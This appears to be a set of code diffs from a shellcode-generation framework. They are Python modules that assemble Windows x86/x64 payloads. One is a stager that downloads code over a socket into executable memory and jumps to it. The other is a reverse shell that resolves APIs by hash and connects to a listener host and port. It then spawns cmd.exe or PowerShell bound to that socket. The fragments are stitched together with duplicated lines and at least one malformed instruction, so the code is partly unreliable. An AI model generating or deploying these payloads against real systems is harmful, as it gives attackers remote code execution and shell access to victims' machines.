mov rax, [rbp - {self.storage_offsets['recv']}]
call rax
cmp rax, 0x10
jg download_complete
; LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,
; [in] SIZE_T dwSize,
; [in] DWORD flAllocationType,
; [in] DWORD flProtect);
call_VirtualAlloc:
mov rcx, [rbp - {self.storage_offsets['pResponse']}]
mov rdx, {self.sock_buffer_size}
mov rcx, [rbp - {self.storage_offsets['lpvShellcode']}]
mov rdx, [rbp - {self.storage_offsets['dwSize']}]
mov r8, {winnt.MEM_COMMIT | winnt.MEM_RESERVE}
mov r9, {winnt.PAGE_EXECUTE_READWRITE}
mov rax, [rbp - {self.storage_offsets['VirtualAlloc']}]
call rax
mov [rbp - {self.storage_offsets['lpvShellcode']}] , rax
mov [rbp - {self.storage_offsets['pResponse']}], rax
mov [rbp - {self.storage_offsets['lpvShellcode']}], rax
mov rdx, rax
mov r8, [rbp - {self.storage_offsets['dwSize']}]
call_recv:
mov rcx, [rbp - {self.storage_offsets['sockfd']}]
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
mov r8, 0x5000
xor r9, r9
mov rax, [rbp - {self.storage_offsets['recv']}]
call rax
check_complete:
test eax, eax
jle download_complete
inc_ptr:
mov r8, [rbp - {self.storage_offsets['pResponse']}]
add r8, rax
mov [rbp - {self.storage_offsets['pResponse']}], r8
jmp call_recv
download_complete:
jmp [rbp - {self.storage_offsets['lpvShellcode']}]
"""
jmp [rbp - {self.storage_offsets['lpvShellcode']}]\n"""
shellcode += self.get_kernel32()
shellcode += self.lookup_function()
return shellcode
return src
def get_shellcode(self):
"""Generates shellcode
"""
generator = Assembler(Shellcode.arch)
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
None)
src = self.generate_source()
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
shellcode = generator.get_bytes_from_asm(src)
return generator.get_bytes_from_asm(src)
return shellcode
@@ -1,7 +1,6 @@
import sys
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.lib.generic.modparser import argument_check
class Shellcode():
@@ -39,7 +38,7 @@ class Shellcode():
return
def generate_source(self):
"""Generates source code to be assembled by the keystone engine
"""Returns assembly source code for the main functionality of the stub
"""
shellcode = """
@@ -64,7 +63,7 @@ class Shellcode():
return shellcode
def get_shellcode(self):
"""Generates Kernel Token Stealing Stub
"""Generates Shellcode
"""
return self.builder.get_bytes_from_asm(self.generate_source())
@@ -5,14 +5,12 @@ import struct
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.headers.windows import (
winnt,
ntdef,
ws2def,
winternl,
winsock2,
processthreadsapi,
)
@@ -51,6 +49,20 @@ class Shellcode():
arguments["LPORT"]["optional"] = "yes"
arguments["LPORT"]["description"] = "Listening port on listener host"
arguments["SHELL"] = {}
arguments["SHELL"]["optional"] = "yes"
arguments["SHELL"]["description"] = "Shell environment (powershell.exe, cmd.exe, etc)"
advanced = {}
advanced["EXITFUNC"] = {}
advanced["EXITFUNC"]["optional"] = "yes"
advanced["EXITFUNC"]["description"] = "Exit technique"
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
"func": "Have the shellcode operate as function",
"thread": "Exit as a thread",
"process": "Exit as a process" }
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
@@ -59,7 +71,6 @@ class Shellcode():
"Kernel32.dll": [
"LoadLibraryA",
"CreateProcessA",
"TerminateProcess",
],
"Ws2_32.dll": [
"WSAStartup",
@@ -68,12 +79,14 @@ class Shellcode():
]
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({
"wsaData" : 0x00,
"name" : ctypes.sizeof(ws2def.sockaddr),
"lpStartupInfo" : ctypes.sizeof(processthreadsapi._STARTUPINFOA),
"lpCommandLine" : len("cmd\x00"),
"lpCommandLine" : self.shell_env_len,
"lpProcessInformation" : 0x00,
})
@@ -82,194 +95,63 @@ class Shellcode():
return
def get_kernel32(self):
"""Generates stub for obtaining the base address of Kernel32.dll
def set_args(self):
"""Configure the arguments that may be used by the shellcode stub
"""
stub = f"""
getKernel32:
mov dl, 0x4b
getPEB:
xor ebx, ebx
xor ecx, ecx
mov bl, 0x30
mov edi, fs:[ebx]
mov edi, [edi + {winternl._PEB.Ldr.offset}]
mov edi, [edi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
mov eax, [edi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov esi, [edi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov edi, [edi]
cmp [esi + 0x18], cx
jne search
cmp [esi], dl
jne search
found:
"""
return stub
def lookup_function(self):
"""Generates the stub responsible for obtaining the base address of a function
"""
stub = f"""
lookupFunction:
push ebp
mov ebp, esp
sub esp, 0x08
xor ebx, ebx
mov [ebp - 0x04], ebx ; [EBP+0x08] will serve as a temporary register (x64 has less registers)
mov [ebp - 0x08], edx ; Argv passed into lookupFunction
mov ebx, [edi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add ebx, {winnt._IMAGE_NT_HEADERS.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER.DataDirectory.offset}
add ebx, edi
mov eax, [ebx]
mov ebx, edi
add ebx, eax
mov eax, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov edx, edi
add edx, eax
mov ecx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
mov [ebp - 0x04], ebx ; Backup EBX since we are going to XOR it
parseNames:
jecxz error
dec ecx
mov eax, [edx + ecx * 4]
mov esi, edi
add esi, eax
xor eax, eax
xor ebx, ebx
cld
calcHash:
lodsb
test al, al
jz calcDone
ror ebx, 0xD
add ebx, eax
jmp calcHash
calcDone:
cmp ebx, [ebp - 0x08]
jnz parseNames
findAddress:
mov ebx, [ebp - 0x04] ; Restore EBX value prevously saved
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add edx, edi
xor eax, eax
mov ax, [edx + ecx * 2]
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add edx, edi
mov eax, [edx + eax * 4]
add eax, edi
error:
leave
ret
"""
return stub
def load_library(self, lib):
"""Generates the stub to load a library not currently loaded into a process
"""
lists = convert.from_str_to_xwords(lib, 0x04)
write_index = self.storage_offsets["functionName"]
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
src += " mov [ebp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
src += " mov [ebp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
src += " mov [ebp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor ecx, ecx
mov [ebp - {write_index}], cl
lea ecx, [ebp - {self.storage_offsets['functionName']}]
push ecx
mov eax, [ebp - {self.storage_offsets['LoadLibraryA']}]
call eax
"""
return src
def resolve_functions(self):
"""This function is responsible for loading all libraries and resolving respective functions
"""
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.load_library(lib)
stub += """
mov edi, eax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov edx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [ebp - {self.storage_offsets[imports[func]]}], eax
"""
return stub
def generate_source(self):
"""Returns bytecode generated by the keystone engine.
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
all_args = Shellcode.arguments
all_args.update(Shellcode.advanced)
argv_dict = modparser.argument_check(all_args, self.arg_list)
if (argv_dict == None):
exit(-1)
if ("LPORT" not in argv_dict.keys()):
lport = 4444
# Set the shell environment that will be used by the shellcode. We must
# ensure to NULL terminate it.
if "SHELL" not in argv_dict.keys():
self.shell = "cmd.exe"
else:
lport = int(argv_dict["LPORT"])
self.shell = argv_dict["SHELL"]
self.shell += "\x00"
while (len(self.shell) % 8) != 0:
self.shell += "\x00"
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
sin_port = struct.pack('<H', lport).hex()
# Document the size of the shell environment
self.shell_env_len = len(self.shell)
# Configure the options used by the host to obtain the callback
if ("LPORT" not in argv_dict.keys()):
self.lport = 4242
else:
self.lport = int(argv_dict["LPORT"])
self.lhost = argv_dict['LHOST']
# Set the EXITFUNC and update the necessary dependencies
if "EXITFUNC" not in argv_dict.keys():
self.exit_func = "terminate"
else:
self.exit_func = argv_dict["EXITFUNC"]
if self.exit_func == "terminate":
self.dependencies["Kernel32.dll"] += "TerminateProcess",
elif self.exit_func == "thread":
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
elif self.exit_func == "process":
self.dependencies["Kernel32.dll"] += "ExitProcess",
return 0
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
# Setup the members of the sockaddr structure
sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
sin_port = struct.pack('<H', self.lport).hex()
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
shellcode = f"""
_start:
push ebp
mov ebp, esp
; Allocate the stack space with the use of AL of EAX in order to avoid a NULL byte
xor eax, eax
mov al, {self.stack_space}
sub esp, eax
"""
shellcode += self.get_kernel32()
shellcode += """
jmp resolveFunctions
"""
shellcode += self.lookup_function()
shellcode += """
resolveFunctions:
mov edi, eax
"""
shellcode += self.resolve_functions()
shellcode += f"""
src = f"""
; EAX => WSAStartup([in] WORD wVersionRequired,
; [out] LPWSADATA lpWSAData);
call_WSAStartup:
@@ -304,22 +186,12 @@ call_WSASocketA:
push ecx
call eax
mov esi, eax ; Save the socket file descriptor (sockfd)
"""
mov esi, eax ; Save the socket file descriptor (sockfd)\n"""
# Generate a value that will be XOR'd by 0xFFFFFFFF in order to get the
# original value for:
#
# sin_port | sin_family
# STARTF_USESTDHANDLES
# "cmd"
#
# These values will then have to be XOR'd by 0xFFFFFFFF
xor_sockaddr = hex(int(f"{sin_port}{sin_family}", 16) ^ 0xFFFFFFFF)
xor_std_handles = hex(int(f"{processthreadsapi.STARTF_USESTDHANDLES}", 16) ^ 0xFFFFFFFF)
xor_cmd = hex(0x646d63 ^ 0xFFFFFFFF)
sockaddr = hex(int(f"{sin_port}{sin_family}", 16))
std_handles = hex(int(f"{processthreadsapi.STARTF_USESTDHANDLES}", 16))
shellcode += f"""
src += f"""
; EAX => connect([in] SOCKET s,
; [in] const sockaddr *name,
; [in] int namelen);
@@ -329,8 +201,7 @@ call_connect:
push ecx
mov dword ptr [ebp - {self.storage_offsets['name'] - 0x04}], {sin_addr}
mov eax, 0xffffffff
xor eax, {xor_sockaddr}
mov eax, {sockaddr}
mov dword ptr [ebp - {self.storage_offsets['name']}], eax
lea ecx, [ebp - {self.storage_offsets['name']}]
@@ -353,8 +224,7 @@ memsetStructBuffer:
initMembers:
mov al, {ctypes.sizeof(processthreadsapi._STARTUPINFOA)}
mov [ebx], eax
mov eax, 0xffffffff
xor eax, {xor_std_handles}
mov eax, {std_handles}
mov [ebx + {processthreadsapi._STARTUPINFOA.dwFlags.offset}], eax
mov [ebx + {processthreadsapi._STARTUPINFOA.hStdInput.offset}], esi
mov [ebx + {processthreadsapi._STARTUPINFOA.hStdOutput.offset}], esi
@@ -370,7 +240,28 @@ initMembers:
; [in, optional] LPCSTR lpCurrentDirectory,
; [in] LPSTARTUPINFOA lpStartupInfo,
; [out] LPPROCESS_INFORMATION lpProcessInformation);
call_CreateProccessA:
call_CreateProccessA:\n"""
cmd_buffer = convert.from_str_to_xwords(self.shell, 0x04)
write_index = self.storage_offsets['lpCommandLine']
for i in range(len(cmd_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
src += " mov [ebp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(cmd_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
src += " mov [ebp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(cmd_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
src += " mov [ebp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f""" xor ecx, ecx
mov [ebp - {write_index}, cl
lea ecx, [ebp - {self.storage_offsets['lpProcessInformation']}]
push ecx
push ebx
@@ -384,34 +275,26 @@ call_CreateProccessA:
push ecx
push ecx
lea ecx, [ebp - {self.storage_offsets['lpCommandLine']}]
mov eax, 0xffffffff
xor eax, {xor_cmd}
mov dword ptr [ecx], eax
push ecx
xor ecx, ecx
push ecx
mov eax, [ebp - {self.storage_offsets['CreateProcessA']}]
call eax
call eax\n"""
; EAX => TerminateProcess([in] HANDLE hProcess,
; [in] UINT uExitCode);
call_TerminateProcess:
xor ecx, ecx
push ecx
dec ecx
push ecx
mov eax, [ebp - {self.storage_offsets['TerminateProcess']}]
call eax
"""
return shellcode
return src
def get_shellcode(self):
"""Generates Shellcode
"""
generator = Assembler(Shellcode.arch)
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
self.exit_func)
src = self.generate_source()
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
shellcode = generator.get_bytes_from_asm(src)
return generator.get_bytes_from_asm(src)
return shellcode